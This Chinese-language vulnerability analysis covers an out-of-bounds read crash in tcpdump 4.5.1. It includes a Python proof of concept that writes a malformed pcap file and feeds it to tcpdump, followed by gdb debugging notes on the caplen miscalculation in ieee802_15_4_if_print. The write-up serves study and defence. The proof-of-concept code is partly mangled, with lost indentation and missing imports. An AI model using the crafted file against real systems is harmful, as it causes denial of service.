tcpdump 4.5.1 crash 漏洞

  • 漏洞描述

    • tcpdump 4.5.1 越界读漏洞 , 原因在于没有检测 caplen 的长度是否小于数据包的包头.
  • 漏洞影响范围

    • tcpdump < 4.7.0
    • 修复措施
      • hex_and_ascii_print_with_offset 增加的对 caplen 合理性的检测,检测输出的长度是否大于数据包的总长度
      • libpcap 增加了对 pcap_next_packet 增加了对数据包 caplen大小 的检测 , 检测是否 > 0x40000
  • 实验环境

    • ubuntu16.04 x86_64

      • tcpdump version 4.5.1

      • libpcap version 1.7.4

    • gdb with pwndbg , peda

    • 有源码,编译后带调试信息

  • poc

    • from time import sleep
      def crash():
       command = 'tcpdump -r crash'
       buffer     =   '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff'
       buffer     +=  '\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00'
       buffer     +=  '\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00<\x9c7@\xff\x00'
       buffer     +=  '\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a'
       buffer     +=  "\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\'"
       buffer     +=  "xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n', '\x00\x00\x00\x00"
       buffer     +=  '\x00\x00\x00\x00\x01\x03\x03\x04'
       with open('crash', 'w+b') as file:
       file.write(buffer)
       try:
       call(split(command))
       print("Exploit successful!             ")
       except:
       print("Error: Something has gone wrong!")
      def main():
       print("Author:   David Silveiro                           ")
       print("   tcpdump version 4.5.1 Access Violation Crash    ")
       sleep(2)
       crash()
      if __name__ == "__main__":
       main()```
      
      
  • 漏洞分析

    • 运行后漏洞定位 , 越界读

      • 1569742898375.png
      • 0x40cd97 movzx ebx, BYTE PTR [r12-0x1]

      • r12 - 1 刚好越界

      • 1569743032344.png
    • bt 回溯 查看调用代码位置

      • 1569743115095.png
    • 关键参数

      • 决定输出循环终止 | nshort = length / sizeof(u_short)

        • length 在函数调用时传入 length=0xfffffff3
      • 根据 bt 发现由 ieee802_15_4_if_print 调用 ,

        • 180行 ,caplen 为 length 参数 , 由 hex_and_ascii_print 函数中转 [图片上传失败...(image-d89e5c-1570194657331)]
      • caplen 由 数据包结构体的 caplen项 转变

        • u_int ieee802_15_4_if_print(struct netdissect_options *ndo, const struct pcap_pkthdr *h, const u_char *p)

        • 变化过程

          • 目的 : 将 p 调整至数据包内容的开始 ,同时 caplen 减去数据包头的长度

          • h # 数据包

            • tcpdump 4.5.1 crash 漏洞_第1张图片
              1569776934738.png
            • 1569743335276.png
          • caplen = h->caplen # 0x8

          • if caplen >= 3

            • caplen -= 3 # 0x5
          • caplen -= hdrlen # 0xfffffff3 # -0xd

            • p=0x8245b0 "@\377"

            • fc = EXTRACT_LE_16BITS(p);

            • hdrlen = extract_header_length(fc);

            • // hdrlen = 0x12

    • 所以此处漏洞成因是没有检测 caplen 的长度大小是否小于 数据包头结构体的长度 (0x15)

  • 参考链接

    • k0shl 分析思路

      • 介绍 越界读 导致的 crash . 对 数据包 的长度没有严格控制,导致连续读取到一定长度后会读取到无效的内存空间,从而导致拒绝服务的发生

      • 调试

        • poc 生成导致 crash 的 pcap包

        • gdb 调试 -r 参数打开 crash 数据包 , 到达崩溃位置

          • run -r crash | gdb 带参运行
        • 0x8001e612: movzx edi,BYTE PTR [edi+esi*2+0x1] 确定了越界读发生的位置

        • bt 回溯调用情况

        • 看整个运行过程 , 和崩溃位置前的程序输出

      • 分析

      • pcap文件包的结构 关键结构体

        • 文件头

          • magic int32 # magic number 标识符

          • u_short version_majar # 主版本号

          • u_short version_minor # 次版本号

          • bpf_int32 thiszone # 时区修正

          • bpf_u_int32 sigfigs # 精确时间戳

          • bpf_u_int32 snaplen # 每个数据包保存的最大长度

          • tcpdump -s 0 就是设置这个参数 , 缺省为 68

          • linktype: # 链路层类型:32位, 数据包的链路层包头决定了链路层的类型。

        • 数据包

          • struct timeval ts # 详细时间戳

          • bpf_u_int32 caplen # 保存的包长度

          • bpf_u_int32 len # 数据包真实长度

        • 时间戳 timeval

          • long tv_sec # 秒数

          • suseconds_t tv_usec # 微秒

        • 标记关注的重点 数据包的caplen

      • 分析漏洞触发流程

        • 根据bt的结果 , 从main函数开始跟进
      • 看到 call 调用跟进

      • 看到标志性输出,分析关键位置在附近

      • 接着跟进动态调用 , 一步步知道发现有循环

      • 发现循环带计数器,将 ida 反编译结果和gdb调试信息对比,分析关键逻辑

        • 做出推测,并根据相应寄存器做出验证
      • 注意点

        • 分析部分 这里需要学习的是配合ida的调试思路,对于没有源码的调试比较有参考价值

        • 看到关键逻辑推测和验证

        • 注意查找关键逻辑的思路,考虑直接从搜索标识性字符串入手,或者根据 bt 的结果,看对应位置是否有函数,一步步反推

    • 先知社区的本漏洞分析文章
    • 安全客 深入分析文章

你可能感兴趣的